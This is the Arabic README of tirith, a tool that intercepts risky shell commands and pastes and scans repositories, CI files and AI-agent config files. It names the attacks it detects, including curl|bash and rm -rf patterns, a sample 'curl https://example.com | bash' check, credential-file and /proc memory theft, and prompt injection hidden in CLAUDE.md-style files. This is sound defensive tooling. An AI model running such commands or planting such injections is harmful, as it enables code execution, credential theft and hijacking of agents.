يغطي الفحص بنية wheel وهويته، وسلامة RECORD وملكية الملفات، وخطافات بدء تشغيل Python، وامتدادات ELF/Mach-O/PE الأصلية، وحواف التنفيذ، وانقسامات loader/payload عبر التوزيعات. وتكشف `pkg graph` و`pkg diff` و`pkg attest` و`pkg receipt` عن أدلة المصدر والإيصال المقابلة.
يدعم مسار الإنفاذ **pip على x86_64 Linux فقط** ويتطلب السلطة الأصلية الموثّقة، ودليل هدف مخصص جديد، و`uv` أصلي ثابت بالكامل ومسجَّل. كل منصة غير مدعومة تفشل مغلقة قبل بدء pip؛ ولا تتراجع أبدًا إلى تثبيت عادي. يبقى npm وCargo أسطح أدلة غير مُنفِّذة. راجع
[ملاحظات إصدار 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) و
[مرجع الأوامر](https://github.com/sheeki03/tirith/blob/main/docs/commands.md).
**عائلات الهجمات التي بُني tirith من أجلها** (توضيحية، وليست ادعاءً بأن الكود الحالي يلتقطها):
| الحادثة | السنة | شكل الهجوم |
|---|---|---|
| [دودة Shai-Hulud على npm](https://socket.dev/blog/shai-hulud-worm) | 2025 | برمجية خبيثة ذاتية الانتشار في الحزم؛ سرّبت رموز GitHub ومفاتيح AWS من أكثر من 180 حزمة، ونشرت النتائج في مستودعات `Shai-Hulud` العامة |
| [Slopsquatting](https://socket.dev/blog/slopsquatting-how-ai-hallucinations-are-fueling-a-new-class-of-supply-chain-attacks) | 2023 حتى الآن | يسجّل المهاجمون أسماء حزم هلوسها LLM على npm / PyPI / crates.io؛ وجد [USENIX 2025](https://www.usenix.org/system/files/conference/usenixsecurity25/sec25cycle1-prepub-742-spracklen.pdf) أن 58% من الأسماء المهلوسة تتكرر عبر التشغيلات |
| أدوات Team PCP / UNC1069 | مستمر | عمليات مسح لبيانات الاعتماد بعد الاختراق، واستخراج من `/proc/*/mem`، وتصعيد صلاحيات Docker |
| [تخريب colors.js / faker.js](https://snyk.io/blog/open-source-npm-packages-colors-faker/) | 2022 | تخريب ذاتي من المؤلف لحزم واسعة الاستخدام |
| [اختراق event-stream](https://github.com/dominictarr/event-stream/issues/116) | 2018 | نقل الملكية إلى المهاجم؛ واستهدف الحمولة محافظ Bitcoin |
يغطي استخراج أسماء الحزم حاليًا الأنظمة البيئية اللغوية (pip، npm/yarn/pnpm/bun، cargo، gem، go، composer، dotnet، mvn/gradle)، وليس مديري حزم مستوى التوزيعة (`apt` / `dnf` / `yum` / `pacman`). ولهذا فإن xz-utils، الذي دخل عبر أرشيفات توزيعات Linux، ليس في الجدول رغم كونه حادثة بارزة.
---
## أمن وكلاء الذكاء الاصطناعي
يضيف Tirith عدة طبقات حماية مستقلة حول وكلاء البرمجة بالذكاء الاصطناعي:
فحص الإعدادات، وأدوات MCP التعاونية، وبوابة MCP، وخطافات الصدفة التفاعلية،
وخطافات ما قبل الأداة الأصلية على المضيف حيث يكشف المضيف عن عقد حجب موثّق. تعتمد التغطية على الطبقة التي يحمّلها المضيف فعليًا.
### خطافات الصدفة، اعتراض الأوامر السلبي
عندما ينفّذ وكيل ذكاء اصطناعي عبر صدفة تفاعلية موصولة بخطاف (Claude Code،
Codex، Cursor، إلخ)، يفحص خطاف الصدفة في tirith ذلك الأمر التفاعلي قبل
أن تقبله الصدفة. وهذا لا يغطي صدفة غير تفاعلية، أو `exec` مباشرًا، أو عملية وكيل لم تحمّل الخطاف أبدًا:
- **يحجب الأوامر الخطرة**: عناوين URL المتشابهة، التمرير إلى الصدفة، التنزيلات غير الآمنة
- **يحجب اللصق الخبيث**: حقن ANSI، وهجمات bidi، والنص متعدد الأسطر المخفي في المحتوى الملصوق
- **بوابة تفاعلية مستقلة عن الوكيل**: لا حاجة إلى تكامل خاص بأي وكيل
عندما يستخدم ذلك الوكيل فعليًا الصدفة التفاعلية المحمية
- **صفر تعديل على الوكيل**: لا يعرف الوكيل بوجود tirith حتى يُحجب أمر
استخدم `tirith setup <tool>` للإعداد بأمر واحد (راجع [تكاملات وكلاء الذكاء الاصطناعي](#ai-agent-integrations)).
### خادم MCP (6 أدوات متعددة المنصات؛ 7 على Unix)
شغّل `tirith mcp-server` أو استخدم `tirith setup <tool> --with-mcp` لتسجيل tirith كخادم MCP. يمكن لوكلاء الذكاء الاصطناعي استدعاء هذه الأدوات قبل اتخاذ أي إجراء:
| الأداة | ما تفعله |
|------|-------------|
| `tirith_check_command` | تحليل أوامر الصدفة بحثًا عن التمرير إلى الصدفة، وعناوين URL المتشابهة، وحقن متغيرات البيئة |
| `tirith_check_url` | تقييم عناوين URL بحثًا عن هجمات التشابه، وحيل punycode، وعناوين URL المختصرة، وعناوين IP الخام |
| `tirith_check_paste` | فحص المحتوى الملصوق بحثًا عن تسلسلات ANSI، وعناصر تحكم bidi، ومحارف صفرية العرض |
| `tirith_scan_file` | فحص ملف بحثًا عن محتوى مخفي، ويونيكود غير مرئي، وتسميم الإعدادات |
| `tirith_scan_directory` | فحص تكراري مع إعطاء أولوية لملفات إعداد الذكاء الاصطناعي |
| `tirith_verify_mcp_config` | التحقق من إعدادات MCP بحثًا عن خوادم غير آمنة، وحقن الصدفة في الوسائط، وأدوات wildcard |
| `tirith_fetch_cloaking` | كشف التمويه من جانب الخادم (محتوى مختلف للروبوتات مقابل المتصفحات) |
إن `tools/list` الافتراضي هو عقد توافق مجمّد، لأن العملاء
يخزّنونه مؤقتًا، والأداة التي تظهر دون إعلان تغيّر ما يعتقد الوكيل
أنه قد يستدعيه. لذلك فإن أداة معاينة، `tirith_check_task`، **لا يُعلَن عنها
افتراضيًا**: شغّل `TIRITH_MCP_PREVIEW=1 tirith mcp-server` للإعلان عنها، و
بدون هذا الاشتراك الصريح يُرفض أي عميل يستدعيها بالاسم. راجع
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).
### حوكمة خادم MCP
يلتقط `tirith mcp lock` كل خادم MCP يصرّح به مستودع، عبر `.mcp.json` / `mcp.json` / `mcp_settings.json` ومتغيرات إعداد IDE (`.vscode/`، `.cursor/`، `.windsurf/`، `.cline/`، `.amazonq/`، `.continue/`، `.kiro/`)، في ملف قفل حتمي عند `.tirith/mcp.lock`. يُسجَّل كل خادم مع وسيلة نقله (عنوان URL بعيد، أو أمر محلي + وسائط)، والأدوات المعلنة، وبيانات التغطية الوصفية، وتجزئة المحتوى؛ وتُرتَّب الخوادم حسب الاسم/المصدر بحيث يكون ملف القفل ملائمًا للمقارنة. تُرفض التصريحات الغامضة أو الحاملة لبيانات اعتماد بدلًا من نسخها إلى التحكم بالمصدر. تُمثَّل قيم متغيرات البيئة ومعلومات مستخدم URL فقط بعلامات وجود ثابتة، وليس بقيم خام أو تجزئات حتمية: فإضافة/إزالة متغير أو معلومات مستخدم لا تزال تُظهر انحرافًا، بينما تدوير الأسرار لا يفعل ذلك عمدًا. تتطلب ملفات قفل V7 إعادة قفل صريحة واحدة للترحيل إلى نموذج الخصوصية v8 هذا. الاكتشاف محلي داخل المستودع فقط ولا يلمس الشبكة. (`tirith mcp` مجموعة أوامر منفصلة عن `tirith mcp-server`، الذي يشغّل tirith *كـ* خادم MCP.)
`tirith mcp verify` هو الرفيق البوّابي: يعيد بناء الجرد الحالي مقابل ملف القفل الملتزم به ويخرج بالرمز 1 عند الانحراف أو تغطية إعدادات غير مكتملة/مرفوضة (0 عند التطابق، 2 عند أخطاء الاستخدام مثل ملف قفل مفقود). ويبلّغ `tirith mcp diff` عن الانحراف نفسه على سبيل الإعلام (يخرج دائمًا بالرمز 0، و2 فقط عند أخطاء الاستخدام، حتى يستطيع المستهلك التمييز بين "لا انحراف" و"تعذّر الفحص"). يظهر الانحراف أيضًا عبر `tirith scan` باسم `mcp_server_drift` (متوسط أو مرتفع)، بحيث يلتقط خطاف ما قبل الالتزام أو CI تغييرًا في سطح MCP كما يلتقط إجراءً غير مثبّت. لا يطبع `verify` / `diff` أبدًا قيم متغيرات البيئة أو معلومات مستخدم URL، بل أسماء ما تغيّر فقط.
يحكم حقلان سياسيان ما يُقبل. كلاهما مُفتاحان بهوية `mcp:v1:...` مبهمة تربط مسار المصدر، واسم الخادم، ووسيلة النقل: `scan.trusted_mcp_servers` يثبّط نتائج إعداد ذلك الخادم تحديدًا وانحرافه، بينما يعلن `scan.mcp_allowed_tools` الأدوات الدقيقة التي يجوز له كشفها. الأسماء المجردة لا تطابق شيئًا عمدًا، بحيث لا يمكن لخادم بنفس الاسم في إعداد آخر أن يرث الثقة. كما تتطلب قائمة أدوات مسموح بها صريحة مجموعة واصفات حية معتمدة من المشغّل وتفحص كلاً من التصريحات الثابتة وأسماء الواصفات الحية. شغّل `tirith mcp policy init` لتوليد المفاتيح الدقيقة في `.tirith/mcp-policy.yaml.example`، ثم استخدم تدفق البوابة `--mcp-server-identity ... --approve-descriptors` لالتقاط أساس `tools/list` مفحوص ذريًا. كل مدخل مولَّد يكون معلَّقًا بحيث لا يوسّع الاستيراد الثقة بصمت أبدًا.
### فحص ملفات الإعدادات
يكتشف `tirith scan` حقن التوجيهات والحمولات المخفية في ملفات إعداد الذكاء الاصطناعي. يعطي أولوية ويفحص أكثر من 50 نمطًا معروفًا لملفات إعداد الذكاء الاصطناعي:
- `.cursorrules`، `.windsurfrules`، `.clinerules`، `CLAUDE.md`، `copilot-instructions.md`
- إعدادات `.claude/`، والوكلاء، والمهارات، والإضافات، والقواعد
- إعدادات `.cursor/`، `.vscode/`، `.windsurf/`، `.cline/`، `.continue/`، `.roo/`، `.codex/`
- `mcp.json`، `.mcp.json`، `mcp_settings.json`
- `.github/copilot-instructions.md`، `.github/agents/*.md`
**ما يلتقطه في الإعدادات:**
- **حقن التوجيهات** (محفزات تفعيل المهارات، ومحاولات تجاوز الأذونات، وإبطال إجراءات السلامة، وإعادة تعيين الهوية، وتعليمات التجاوز عبر الأدوات). يُفحص كل ملف خامًا ومفكوك التمويه (محارف غير مرئية، ومتشابهات، وتباعد بين المحارف، وleetspeak، وbase64 / hex قصير)، بحيث تظل البذرة المخفية خلف ترميز ما تنطلق
- **يونيكود غير مرئي**: محارف صفرية العرض (بما في ذلك Mongolian Vowel Separator)، وعناصر تحكم bidi، وواصلات ناعمة، ووسوم يونيكود، وحشوات Hangul، وترميز مسافات بيضاء غير مرئية، ومتشابهات أبجدية رقمية رياضية
- **مشكلات إعداد MCP**: اتصالات HTTP غير آمنة، وخوادم بعناوين IP خام، ومحارف meta في وسائط الصدفة، وأسماء خوادم مكررة، ووصول أدوات wildcard
### فحص سلسلة التوريد في CI / المستودع
يفحص `tirith scan` أيضًا الملفات التي يلتزم بها المستودع لوصف خط بناء ونشر خاص به. يكتشف *النمط* الخطِر، لا الأداة: إجراء مثبّت بـ SHA، وصورة مثبّتة بـ digest، ووحدة Terraform محلية، و`package.json` عادي تبقى نظيفة.
**ما يلتقطه في ملفات CI / البنية التحتية:**
- **سير عمل GitHub Actions** (`.github/workflows/*.yml`)، مرجع `uses:` لإجراء مثبّت على مرجع قابل للتغيير (`@v3`، `@main`) بدلًا من commit SHA؛ ومحفّز `pull_request_target`؛ وتمرير `curl … | bash` إلى الصدفة في خطوة `run:`؛ وقيمة `${{ github.event.* }}` قابلة للتحكم من المهاجم تُدرَج في خطوة صدفة `run:` (حقن سكربت)
- **Dockerfiles**: صورة أساس `FROM` على وسم `latest` القابل للتغيير (أو بلا وسم) دون تثبيت digest `@sha256:`
- **Terraform** (`*.tf`)، كتلة `module` مصدرها موقع بعيد / غير موثوق بدلًا من مسار محلي أو Terraform Registry
- **مخططات Helm** (`Chart.yaml`)، تبعية مخطط من مستودع مخططات غير موثوق
- **`package.json`**: سكربت دورة حياة `preinstall` / `install` / `postinstall` يشغّل أمرًا خطِرًا (تمرير إلى الصدفة، حمولة مموّهة، تنزيل وتشغيل)؛ تُشغَّل هذه الخطافات تلقائيًا عند `npm install`
تضبط ثلاث قيم `--profile` مدمجة الفحص: `ci-hardening` (كل فحص بكامل قوته، والفشل عند `high`)، و`ai-agent-repo` (يبقي نتائج الحقن، ويُسقط ضجيج نظافة التثبيت منخفض القيمة)، و`oss-maintainer` (يشدد على المخاطر القابلة للتحكم من المساهمين عند مراجعة تغيير).```bash
tirith scan ./ # scan the repo
tirith scan --profile ci-hardening ./ # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
يكتشف المحتوى غير المرئي للبشر لكنه قابل للقراءة بواسطة الذكاء الاصطناعي في HTML وMarkdown وPDF:
display:none، visibility:hidden، opacity:0، font-size:0، التموضع خارج الشاشةrm -rf أو curl|bash (Medium)، تعليقات طويلة تخفي تعليمات (Low)يفحص tirith scan أيضًا أنواع الملفات التي يقرأها وكيل البرمجة بالذكاء الاصطناعي (أو أداة العرض) ويتصرف بناءً عليها، بحثًا عن محتوى مُهرَّب أمام مراجعة بشرية. دفتر ملاحظات عادي، وCLAUDE.md عادي بتعليمات مرئية، وصورة SVG بسيطة تبقى نظيفة، فقط المحتوى المخفي / المُهرَّب يُطلق التنبيه.
*.ipynb)، أحرف غير مرئية / ثنائية الاتجاه / صفرية العرض في مصدر الخلية، كتلة مُرمَّزة بـ base64 مضمّنة في المصدر، خلية مخفية عن العرض (metadata.jupyter.source_hidden / وسم hide_input)، ومخرجات الخلية التي تحمل أحرفًا غير مرئية أو HTML نشطًا / مخفيًاCLAUDE.md، AGENTS.md، .cursorrules، وما شابهها)، التوجيهات المخفية فقط: تعليمة داخل تعليق HTML (غير مرئية في Markdown المعروض) أو عنصر HTML مخفي بصريًا. تحتوي هذه الملفات بشكل مشروع على تعليمات مرئية، لذا لا تُطلق التعليمات المرئية العادية أي تنبيه*.svg)، وسم <script> مضمّن، معالج حدث on* مضمّن، معرّف URI من نوع javascript:، xlink:href / href بعيد، أو تعريف كيان خارجي XXEيقارن tirith fetch استجابات الخادم عبر 6 وكلاء مستخدم (Chrome، ClaudeBot، ChatGPT-User، PerplexityBot، Googlebot، curl) لكشف الحالات التي تقدّم فيها الخوادم محتوى مختلفًا لروبوتات الذكاء الاصطناعي مقابل المتصفحات.
إلى جانب الأوامر المفردة، توسّع عدة مجموعات من الأوامر البوابة لتشمل سياقك التشغيلي وحالة محطة عملك. تلك التي تلامس المسار الحرج تكون اختيارية (علامة سياسة)؛ والباقي يعمل عند الطلب.
السياق التشغيلي (tirith context، ssh، iac، sudo). صنّف سياقات السحابة / Kubernetes الخاصة بالإنتاج ومضيفي SSH مرة واحدة، وسيصعّد tirith ما يهم: أمر مدمّر ضد سياق مُصنَّف كإنتاج، اتصال SSH بمضيف مُصنَّف كإنتاج، تنفيذ apply من Terraform / Pulumi / OpenTofu دون خطة محفوظة مطابقة، أو تصعيد sudo دون نافذة جلسة مبرَّرة. توجد التصنيفات في ~/.config/tirith/context-labels.yaml وssh-host-labels.yaml (أو على نطاق المستودع تحت .tirith/).
نظافة محطة العمل (tirith hygiene، persistence، aliases، env، exec، path، hooks). افحص ملفات بيانات الاعتماد ذات الأذونات المتساهلة والرموز النصية الصريحة (~/.ssh، ~/.aws، ~/.kube، .npmrc، .pypirc)، وقارن مواطئ الاستمرارية التي يستخدمها المهاجم (shell rc، authorized_keys، crontab، LaunchAgents / وحدات systemd-user، core.hooksPath في git)، وحدّد الأسماء المستعارة التي تحجب أوامر حرجة أو تقرأ بيانات اعتماد، ودقّق بحثًا عن ترتيب الاختطاف، وأبلغ عن مصدر الملف التنفيذي (مالك الحزمة، توقيع الكود، ما إذا كان يحجب أمرًا نظاميًا).
نطاق التأثير والعزل (tirith preview، watch، temp-run، taint، intend، baseline). عاين تأثير أمر مدمّر على نظام الملفات قبل تشغيله، وقارن ما غيّره الأمر فعليًا بعده، وشغّل أمرًا غير موثوق في دليل مؤقت، وتتبّع الملفات المُنزَّلة من مصادر خطرة بحيث يؤدي تنفيذ أحدها لاحقًا إلى إطلاق نتيجة. يغيّر temp-run دليل العمل فقط؛ فهو عزل للملفات وليس صندوقًا رمليًا.
tirith command-card) توقّع أمرًا معروفًا بأنه سليم بمفتاح ed25519؛ بطاقة موثوقة لم تعد تطابق الأمر تُطلق High.tirith commands) هو قائمة سماح .tirith/commands.yaml تُسكِت ملاحظة الأمر غير المعروف للأوامر المُصرَّح بها وتضيف قائمة dangerous[] للتصعيد فقط (يمكنها تشديد الحكم، ولا يمكنها إضعافه أبدًا).tirith canary) تزرع رموز فخ اصطناعية بوضوح؛ أي لمسة في أي أمر مفحوص أو لصق أو مخرجات أداة تُطلق High. الكشف هو بحث في مخزن محلي، وليس مطابقة شكل.tirith secret) يقرأ نتائج بيانات الاعتماد الأخيرة من سجل التدقيق الخاص بك ويطبع خطوات التدوير / الإبطال الخاصة بالمزوّد لـ 11 مزوّدًا. لا يدوّر أي شيء بنفسه ولا يجري أي اتصالات شبكية.tirith incident) يعلن وضعية "تحت الهجوم": يفرض fail_mode: closed، ويعطّل تجاوز TIRITH=0، ويرفع قواعد مسح بيانات الاعتماد وفك الترميز والتنفيذ والملفات التنفيذية المشبوهة حتى توقفه.tirith view، tirith output، gateway run --filter-output، وmcp-server الآمن افتراضيًا) يحيّد هجمات خداع الطرفية في مخرجات الأوامر وأدوات MCP وقراءة الموارد: كتابات الحافظة OSC 52، والمطالبات المزيفة، وعدم تطابق الارتباط التشعبي OSC 8، والتلاعب بالعنوان / مسح الشاشة. كما يفحص المخرجات بحثًا عن حقن الأوامر (الخام والمفكوك التمويه) ومنارات تسريب البيانات. أضف بذورًا مخصصة عبر injection_seeds_custom، واشترك في حجب كتلة MCP الخاصة بالحقن فقط إلى تحذير (بدلًا من حجب المخرجات بالكامل) عبر mcp_redact_injection. لا يُوصى بمنفذ الهروب القديم mcp-server --unsafe-unsanitized-tool-output.tirith share، tirith redact، tirith logs) يزيل الأسرار ومعرّفات العملاء / المستأجرين قبل لصقها في مشكلة GitHub أو Slack أو LLM أو لصق عام.tirith paste --with-source، ). مع تثبيت مضيف المراسلة الأصلية المرافق لـ Chrome، ينسب tirith الأمر الملصوق إلى صفحته المصدر ويعلّم على لصق يختلف مضيفه المصدر عن مكان تشغيل الأمر.Homebrew:```bash brew install tirith
### حزم لينكس
**Debian / Ubuntu (.deb):**
قم بالتنزيل من [إصدارات GitHub](https://github.com/sheeki03/tirith/releases/latest)، ثم:```bash
sudo dpkg -i tirith_*_amd64.deb
Fedora / RHEL / CentOS 8+ و Amazon Linux 2023 (.rpm):
قم بالتنزيل من إصدارات GitHub، ثم:```bash sudo dnf install ./tirith-*.rpm
تُستهدف الملفات الثنائية لإصدار Linux GNU سقف GLIBC 2.28. تُشغّل CI كلاً من حزمتي x86_64 وaarch64 على AlmaLinux 8 وAmazon Linux 2023 وRocky Linux 9؛ ويحتوي كل من `.deb` وx86_64 `.rpm` على تلك الملفات الثنائية الأساسية نفسها.
**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith
Nix:```bash nix profile install nixpkgs#tirith # from nixpkgs nix profile install github:sheeki03/tirith # from upstream flake
### Android (Termux)
يعمل Android/Termux على Bionic libc، وليس glibc، لذا لا يمكن تشغيل بناء `aarch64-unknown-linux-gnu` هناك، فهو يحتاج إلى الرابط الديناميكي الخاص بـ glibc. استخدم بناء **musl** بدلاً من ذلك: `tirith-aarch64-unknown-linux-musl.tar.gz` مرتبط بشكل ثابت ويعمل على Termux دون الحاجة إلى libc خارجي.```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
ثم فعّل خطاف الصدفة في ~/.bashrc (الصدفة الافتراضية في Termux هي bash):```bash
eval "$(tirith init --shell bash)" # add to ~/.bashrc
> [!NOTE]
> دعم Termux بأفضل جهد ممكن. يتم بناء أداة musl واختبارها مبدئيًا في
> CI، لكن tirith لم يتم اختباره بشكل مستمر على جهاز Android حقيقي بعد.
> إذا سلك خطاف (hook) سلوكًا غير سليم تحت Termux، يرجى فتح issue مع مخرجات
> `tirith doctor`.
### Windows
يدعم Windows الكشف، والفحص، وخطافات الويب (webhooks)، وإدارة السياسات، ورفع
سجلات التدقيق، و`tirith setup`. يوفر خطاف PowerShell اعتراضًا مسبقًا عبر
PSReadLine، لكنه لا يدّعي إيصال تنفيذ صارم بعد القبول.
يبقى تنفيذ السكربتات عن بُعد المباشر ووضع الخدمة (daemon) غير متاحين على Windows.
**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith
Chocolatey (مستودع المجتمع):```powershell choco install tirith
choco upgrade tirith
يمكن أن يتأخر اعتماد Chocolatey عن إصدار GitHub. شغّل `choco info tirith` لمعرفة الإصدار المعتمد حاليًا. استخدم Scoop أو أداة موقّعة من [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) عندما تحتاج إلى أحدث إصدار قبل انتهاء اعتماد Chocolatey.
### عبر الأنظمة الأساسية
**npm:**```bash
npm install -g tirith
Cargo:```bash cargo install tirith
**[Mise](https://mise.jdx.dev/)** (السجل الرسمي):```bash
mise use -g tirith
asdf:```bash asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git asdf install tirith latest asdf global tirith latest
**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
أضف إلى ملف تعريف الصدفة الخاص بك (.zshrc أو .bashrc أو config.fish):```bash
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
| Shell | نوع الـ Hook | تم اختباره على |
|-------|-----------|-----------|
| zsh | accept-line + paste widgets | 5.8+ |
| bash | enter-key macro أو preexec (وضعان) | مسار التوافق مع 3.2؛ 5.0+ للمسار الحديث المُختبَر بالكامل |
| fish | Enter-key + paste handlers | 3.5+ |
| PowerShell | PSReadLine handler | 7.0+ |
يستخدم Bash وضع enter عندما يُثبت اختبار ذاتي للقدرات أنه يعمل مع bash لديك، وpreexec خلاف ذلك. منذ 0.4.1 ينجح هذا الاختبار الذاتي على GNU bash القياسي، لذا فإن وضع enter هو النتيجة المعتادة بمجرد تشغيل `tirith setup` أو `tirith doctor`؛ يقرأ الـ shell hook الحكم المخزّن مؤقتًا عند بدء التشغيل. راجع [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) للحصول على تفاصيل حول الأوضاع، والاختبار الذاتي، وسلوك الاحتياط في SSH.
يبقى Bash 3.2 النظامي في macOS مسار توافق، وليس خط الأساس
الحديث للحجب. قد يمنع سلوك DEBUG-trap الخاص به الترامبولين من الثبات؛
يعلن Tirith عن التدهور الناتج عندما تستطيع نبضته ملاحظته،
والذي قد يكون بعد أمر واحد. استخدم Bash 5+ أو مسار enter-mode مُثبت
عندما تكون بوابة تفويض Bash الصارمة مطلوبة.
> [!WARNING]
> وضع preexec في Bash هو للتحذير فقط افتراضيًا. اضبط `TIRITH_BASH_PREEXEC_ENFORCE=1` للحجب الشرطي. يفحص Tirith السطر المكتوب الموثوق مرة واحدة، ويمكّن `extdebug` الخاص به فقط بعد حكم الحجب، ويحرره قبل تشغيل `PROMPT_COMMAND`. إذا لم يكن من الممكن الحفاظ على حدود الـ prompt أو DEBUG trap المملوك للمستدعي بأمان، أو كان `extdebug` ممكّنًا بالفعل من قبل المستخدم، فإن Tirith يترك اعتراض preexec متوقفًا بشكل مرئي بدلًا من الإضرار بحالة الـ shell.
#### الإنفاذ حسب الـ shell
| Shell | السلوك |
|---|---|
| bash **enter mode** | **حجب موثوق.** يربط Enter بماكرو readline يشغّل المدقق ثم accept-line محميًا، بحيث يمكن إيقاف أمر قبل أن يلتزم bash بتشغيله. يُختار حيثما أثبت الاختبار الذاتي للقدرات (`tirith doctor --simulate-enter`) التسليم والحجب لـ bash قيد التشغيل، وهو ما يفعله منذ 0.4.1 على GNU bash القياسي. لا يزال علم الوضع الآمن المحفوظ، أو جلسة SSH، أو `TIRITH_BASH_MODE=preexec` القسري يختار preexec. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **حجب شرطي.** يفحص سطرًا كاملًا موثوقًا واحدًا، ثم يشغّل `extdebug` المملوك لـ Tirith فقط عند الحجب ويستعيده عند الـ prompt التالي. تحتفظ إدخالات `PROMPT_COMMAND` النصية/المصفوفية الموجودة بترتيبها وتعمل خارج الفحص. يرفض الإنفاذ بشكل مرئي أو يخفّض عندما يكون السجل مُفلترًا أو عندما يجعل alias / command substitution / `eval` السطر المكتوب ينحرف عن `BASH_COMMAND`؛ ملكية prompt/DEBUG غير الآمنة أو `extdebug` المملوك للمستخدم يترك الاعتراض متوقفًا صراحةً بدلًا من تغيير حالة المستخدم. |
| bash **preexec** (بدون علم الإنفاذ) | للتحذير فقط. يطبع لافتة DETECTED على الأوامر الخطرة؛ لا يحجب. الاحتياط عندما لم يُثبت الاختبار الذاتي لوضع enter أن التسليم يعمل، أو عندما يكون وضع enter غير متاح بطريقة أخرى. |
| zsh, fish | حجب موثوق في معالجات Enter/accept-line الخاصة بهما، قبل التسليم الأصلي للـ shell. لا تُعامل أحداث preexec للإشعار فقط كبوابات تفويض. |
| PowerShell | حجب preflight موثوق من PSReadLine؛ بدون إيصال تنفيذ صارم. |
| nushell | للتحذير فقط (لا يدعم حاليًا اعتراض الأوامر). |
للحجب على مستوى السطر في bash، شغّل `tirith doctor --simulate-enter`؛ إذا نجح التسليم، يتم تمكين وضع enter. حيث لا ينجح، استخدم preexec enforce من أجل "يحجب عندما يكون ممكنًا؛ يخبرك بصدق عندما لا يستطيع."
يستخدم bash وzsh وfish التفاعلية إيصال تنفيذ بروتوكول-v3 بعد
قرار preflight. عند تحميل الـ hook، يحلّون ويثبّتون ملفًا تنفيذيًا مطلقًا واحدًا لـ Tirith ويسجّلون قدرة لمرة واحدة مرتبطة بعملية الـ shell الحية، وعائلة الـ shell، والجلسة، والمستخدم، وهوية الملف التنفيذي. ثم ينتقل الإيصال
عبر `Prepared`، و`Armed`، و`Consuming`، وحالة نهائية
`Committed`/`Conflict`/`Discarded`. يحسّن هذا الإسناد
ومقاومة إعادة التشغيل، لكن الأدلة من الـ shell تُسجَّل عمدًا كغير محلولة
بدلًا من كونها إثباتًا على أن كل مكوّن من الأمر نُفّذ. يملك Tirith نفسه أي
مطالبة موافقة أو إقرار تحذير قبل إرجاع إيصال مسلّح؛
لا يمكن للـ hook إرفاق تلك الحقائق لاحقًا. يستهلك Zsh وfish
الإيصال المسلّح بشكل متزامن في نفس معالج قبول السطر ويسلّمان الأمر
إلى الـ shell الأصلي فقط بعد نجاح ذلك الانتقال. يمتلك PowerShell
حجب preflight بدون بروتوكول الإيصال الصارم هذا.
يتلقى الـ shell المتداخل قدرته الخاصة المرتبطة بالعملية حتى عندما يرث
معرّف الجلسة. إعادة تحميل الـ hook في نفس العملية لا تُنشئ أبدًا
حاملًا آخر. إذا استبدل `exec` shell حيًا دون تغيير هوية PID/البدء الخاصة به،
فلا يمكن للبديل استعادة الحامل غير المُصدَّر عمدًا ويعمل في
وضع legacy متدهور بشكل مرئي؛ ابدأ طرفية جديدة أو shell فرعيًا لاستعادة
الإيصالات الصارمة. `exec "$SHELL"` ليس إعادة تشغيل لبروتوكول الإيصال لأنه
يحافظ على هوية تلك العملية.
**Nix / Home-Manager:** يجب أن يكون tirith في `$PATH` الخاص بك عند تحميل الـ hook.
ثم يثبّت Bash وzsh وfish ذلك الملف التنفيذي المحلول لجلسة الـ shell؛
أعد تشغيل الـ shell بعد استبدال أو ترقية الملف التنفيذي. إضافته إلى
`initContent` وحدها ليست كافية.```nix
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = ''
eval "$(tirith init --shell zsh)"
'';
يمكن لـ tirith التحقق من سلامتها وتحديث نفسها. كلا الأمرين لا يصلان إلى الشبكة إلا عند تشغيلهما.```bash tirith verify-self # is this binary the genuine, unmodified release? tirith update # update to the latest release tirith version --provenance # version, build info, install method, verification
**`tirith verify-self`** يؤكد أن الملف التنفيذي قيد التشغيل هو الملف التنفيذي الأصلي غير المعدّل من إصدار رسمي. يعيد تنزيل أرشيف الإصدار الخاص بنسختك والهدف الخاص بك، ويتحقق منه مقابل ملف `checksums.txt` الموقّع للإصدار، ويتحقق من توقيع cosign على `checksums.txt` عند تثبيت [`cosign`](https://github.com/sigstore/cosign)، ويؤكد أن الملف التنفيذي قيد التشغيل مطابق بايت ببايت للملف الرسمي. إذا لم يكن التحقق الكامل ممكنًا، بناء تطويري محلي، لا شبكة، تثبيت لا يستطيع tirith التعرف عليه، فإنه يصرّح بذلك بصدق بدلًا من الإبلاغ عن "verified" زائف. مع غياب `cosign` يظل التحقق من checksum قائمًا (يُبلَّغ عنه بـ `verified-checksum-only`)؛ ثبّت `cosign` للتحقق الكامل من التوقيع (`verified-signed`).
**`tirith update`** يراعي مدير الحزم:
- **عمليات التثبيت عبر مدير الحزم** (Homebrew، cargo، npm، Scoop، AUR، apt/dnf) لا تُعدَّل ذاتيًا أبدًا. يطبع tirith الأمر الدقيق الذي يجب تشغيله بدلًا من ذلك، مثل `brew upgrade tirith`. التحديث عبر مدير الحزم يحافظ على اتساق قاعدة بياناته.
